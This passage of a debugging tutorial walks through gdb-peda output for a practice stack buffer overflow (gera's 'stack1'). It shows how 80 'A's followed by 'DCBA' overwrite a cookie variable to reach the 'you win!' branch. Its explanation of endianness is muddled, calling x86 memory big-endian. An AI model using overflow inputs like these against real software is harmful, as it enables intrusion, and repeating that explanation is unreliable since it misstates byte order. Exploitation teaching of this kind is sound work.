The command above is the "examine" command and we're looking at 4 sets of memory chunks in the string format. The result of the command is below:
gdb-peda$ x/4s 0x8048560
0x8048560: "buf: %08x cooki"...
0x804856f: "e: %08x\n"
0x8048578: "you win!"
0x8048581: ""
We can see that the entire string didn't fit into one memory chunk and spilled over to 0x804856f making it 16 bytes long. At 0x8048578, you can see another string which is the successful message we get if we overflow buf correctly into cookie.
17. Scrolling back up, nothing of value is in eax (0x1f). Let's go forward one instruction and watch the change. Press "n" in GDB.
gdb-peda$ x/4s 0x8048560
0x8048560: "buf: %08x cooki"...
0x804856f: "e: %08x\n"
0x8048578: "you win!"
0x8048581: ""
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fbf898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
EIP: 0x80484a6 (<main+41>: mov DWORD PTR [esp],eax)
[-------------------------------------------------code--------------------------------------------------]
0x8048496 <main+25>: mov DWORD PTR [esp],0x8048560
0x804849d <main+32>: call 0x8048330 <printf@plt>
0x80484a2 <main+37>: lea eax,[esp+0x1c]
=> 0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
01:0004| 0xbffff084 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484a6 in main ()
gdb-peda$
18. eax looks like a memory address pointing to some kind of test opcode between eax and eax. Not really concerned about that right now. We're going to shortly put new information in there. Press "n" again in gdb to advance past the mov opcode.
19. Now the pointer should be at gets. Looking at eax, it looks the same while esp points to the address of eax. However, the code section has an interesting addition of "arg[0]". That's a helpful feature to have as a guess at what is being passed as an argument to the upcoming function call. We can see this below:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fbf898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
EIP: 0x80484a9 (<main+44>: call 0x8048340 <gets@plt>)
[-------------------------------------------------code--------------------------------------------------]
0x804849d <main+32>: call 0x8048330 <printf@plt>
0x80484a2 <main+37>: lea eax,[esp+0x1c]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
=> 0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
Guessed arguments:
arg[0]: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
01:0004| 0xbffff084 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test eax,eax)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484a9 in main ()
gdb-peda$
20. One more detour on the road to the end just to show a bad answer versus the correct answer. Next, we will continue past the gets function to get a prompt for an input value. For this answer, we will put in AAAA as our answer and watch it through the program. With that, enter "n" to trigger the user prompt. After that, enter in "AAAA" as the response. It should look like:
gdb-peda$ n
AAAA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ("AAAA")
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484ae (<main+49>: mov eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
0x80484a2 <main+37>: lea eax,[esp+0x1c]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004| 0xbffff084 --> 0xbffff09c ("AAAA")
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484ae in main ()
gdb-peda$
21. eax is now set to the value we entered which is the buf variable. The next instruction is to move whatever is at esp+0x6c to eax which will blank out our answer of AAAA. It's not an ideal situation, but what is at esp+0x6c? Let's check! In GDB, type in:
x/4s $esp+0x6c
That'll give us:
gdb-peda$ x/4s $esp+0x6c
0xbffff0ec: ""
0xbffff0ed: "\340\373\267Є\004\b"
0xbffff0f5: ""
0xbffff0f6: ""
gdb-peda$
It doesn't look helpful at all. It doesn't look like anything at all is there.
22. Let's take a look at the eax register. In GDB, type in:
x/4s $eax
That'll give us:
gdb-peda$ x/4s $esp+0x6c
0xbffff0ec: ""
0xbffff0ed: "\340\373\267Є\004\b"
0xbffff0f5: ""
0xbffff0f6: ""
gdb-peda$ x/4s $eax
0xbffff09c: "AAAA"
0xbffff0a1: "\377\377\377\316\360\377\277\370\v\342\267s", <incomplete sequence \344\267>
0xbffff0b0: ""
0xbffff0b1: ""
gdb-peda$
Interesting. We see our data in string format. What's it look like in hex format? In GDB, type in:
x/4x $eax
That'll give us:
gdb-peda$ x/4s $eax
0xbffff09c: "AAAA"
0xbffff0a1: "\377\377\377\316\360\377\277\370\v\342\267s", <incomplete sequence \344\267>
0xbffff0b0: ""
0xbffff0b1: ""
gdb-peda$ x/4x $eax
0xbffff09c: 0x41 0x41 0x41 0x41
gdb-peda$
That's more interesting. It looks like if we put them together, it'd be x41414141. That's pretty close to our end goal.
23. Let's go ahead and go through the next instruction to move the pointer to eax. In GDB, type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xb7fbe000 --> 0x1a9da8
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484b2 (<main+53>: cmp eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004| 0xbffff084 --> 0xbffff09c ("AAAA")
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$
24. It looks like eax is not set to what we want. Maybe the compare will be nice and just go ahead and make it a true comparison. Silly rabbit. In GDB, type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xb7fbe000 --> 0x1a9da8
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484b7 (<main+58>: jne 0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
=> 0x80484b7 <main+58>: jne 0x80484c5 <main+72>
| 0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
| 0x80484c0 <main+67>: call 0x8048350 <puts@plt>
| 0x80484c5 <main+72>: leave
| 0x80484c6 <main+73>: ret
`-> 0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004| 0xbffff084 --> 0xbffff09c ("AAAA")
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$
That's pretty cool. We get to see some logic of what will happen. The program knows that it's going to take the jump and send us to the leave statement.
25. Finish strong! Type in "c" to continue the program to let it finish out. Or you can type in "n" to completion.
26. Now we're at the end of the program. So close this time. Well not really close, but we see more of what's going on.
=> 0x80484b7 <main+58>: jne 0x80484c5 <main+72>
| 0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
| 0x80484c0 <main+67>: call 0x8048350 <puts@plt>
| 0x80484c5 <main+72>: leave
| 0x80484c6 <main+73>: ret
`-> 0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004| 0xbffff084 --> 0xbffff09c ("AAAA")
02:0008| 0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$ c
Continuing.
[Inferior 1 (process 3267) exited normally]
gdb-peda$
27. This time, let's go ahead and make it the right answer. Let's get rid of the main breakpoint as we don't need to break at the point. We're interested in seeing what happens after the gets function call with the user input. What if we didn't know what breakpoints we had set up? How would we know which breakpoint to delete? Let's look at them all first. In GDB, type in:
info break
We should now have:
gdb-peda$ info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x08048480 <main+3>
breakpoint already hit 1 time
gdb-peda$
We could have also done "i b" to get the same result:
gdb-peda$ info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x08048480 <main+3>
breakpoint already hit 1 time
gdb-peda$ i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x08048480 <main+3>
breakpoint already hit 1 time
gdb-peda$
Let's remove it with "delete 1" which should look like:
gdb-peda$ delete 1
gdb-peda$ i b
No breakpoints or watchpoints.
gdb-peda$
Fresh start.
28. As mentioned, let's set up a breakpoint for the instruction right after the gets function call. If we scroll up, it looks like the memory address of 0x80484ae fits our requirement. In GDB, type in:
b *0x80484ae
This will show us:
gdb-peda$ delete 1
gdb-peda$ i b
No breakpoints or watchpoints.
gdb-peda$ b *0x80484ae
Breakpoint 2 at 0x80484ae
gdb-peda$ i b
Num Type Disp Enb Address What
2 breakpoint keep y 0x080484ae <main+49>
gdb-peda$
29. Now we're ready to run the program again and try again. In GDB, type in:
r
30. We're at the gets function and the program is expecting input. We know that the buf variable is set to 80. Let's fill up buf with 80 A's and put in an extra 4 A's into the variable and see what happens. Now for the fun part. In GDB, enter in 84 letter A's. Eighty four A's. Don't lose count!
gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
0x80484a2 <main+37>: lea eax,[esp+0x1c]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 2, 0x080484ae in main ()
gdb-peda$
Interesting. Our stack looks much better with A's all over the place. Last time, our stack was filled with random things.
31. Let's see if we did this right. Proceed to the next instruction by typing in "n" in GDB:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41414141 (b'AAAA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$
Good news is that we know we can control eax now. Bad news is that it wasn't with the right value to get the correct message. Still pretty cool! The program wants us to compare cookie to x41424344. If we translate the hex to ASCII, we get ABCD.
32. Just to be sure, let's see the compare fail. Type in "n":
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41414141 (b'AAAA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne 0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
=> 0x80484b7 <main+58>: jne 0x80484c5 <main+72>
| 0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
| 0x80484c0 <main+67>: call 0x8048350 <puts@plt>
| 0x80484c5 <main+72>: leave
| 0x80484c6 <main+73>: ret
`-> 0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$
33. Let's re-run the program. In GDB, type in "r" to get us back to our user input with a fresh start.
34. This time, we will enter in 80 A's, but we will type in ABCD. Go ahead!
gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
0x80484a2 <main+37>: lea eax,[esp+0x1c]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 2, 0x080484ae in main ()
gdb-peda$
35. This could be it. Let's see. Type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x44434241 (b'ABCD')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$
36. Looks like eax is set up good word wise, but the hex values look backwards. Maybe it's not an issue. Type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x44434241 (b'ABCD')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne 0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
=> 0x80484b7 <main+58>: jne 0x80484c5 <main+72>
| 0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
| 0x80484c0 <main+67>: call 0x8048350 <puts@plt>
| 0x80484c5 <main+72>: leave
| 0x80484c6 <main+73>: ret
`-> 0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$
37. Sorry! This was intentional. It was to have a quick segue into "
endianness". Memory addresses for example can be big-endian or little-endian. In our case, the memory above is big-endian. We need to flip it around to little-endian. There are many
articles about this fact and it's important to be sure what endianness you're working with. Different computer architectures and scenarios can change their endianness so it's important to be aware of that fact.
38. Let's set it up again by typing in "r" into GDB to get us back to the user prompt.
39. This time, enter in 80 A's, but then type in "DCBA". You should now get:
gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
0x80484a2 <main+37>: lea eax,[esp+0x1c]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 2, 0x080484ae in main ()
gdb-peda$
40. That looks like it could work better. If we look at the buffers from the start of the program, we see where buf points to and cookie points to. Looking at the stack, it looks like buf points to a bunch of A's while cookie points to "DCBA".
41. Type in "n" to proceed to the next step.
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
0x80484a6 <main+41>: mov DWORD PTR [esp],eax
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$
42. eax looks great hex wise! Type in "n" to proceed to the next step.
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
